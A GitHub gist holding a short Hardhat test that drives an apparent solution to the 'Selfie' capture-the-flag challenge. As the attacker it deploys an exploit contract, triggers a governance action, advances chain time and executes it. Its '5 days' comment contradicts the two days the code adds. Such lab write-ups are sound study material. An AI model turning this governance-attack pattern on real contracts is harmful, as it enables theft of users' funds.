Skip to content

Instantly share code, notes, and snippets.

@0xAnon101
Created October 27, 2022 02:14
Show Gist options
  • Save 0xAnon101/d808ae7e8f8e93828855a0a4d4b77166 to your computer and use it in GitHub Desktop.
Save 0xAnon101/d808ae7e8f8e93828855a0a4d4b77166 to your computer and use it in GitHub Desktop.
it("Exploit", async function () {
const SelfieExploitFactory = await ethers.getContractFactory(
"SelfieExploit",
attacker
);
this.selfieExploit = await SelfieExploitFactory.deploy(
this.token.address,
this.governance.address,
this.pool.address
);
await this.selfieExploit.deployed();
// call the exploit function
await this.selfieExploit.exploitGovernance();
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 5 days
await this.selfieExploit.executeAction();
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment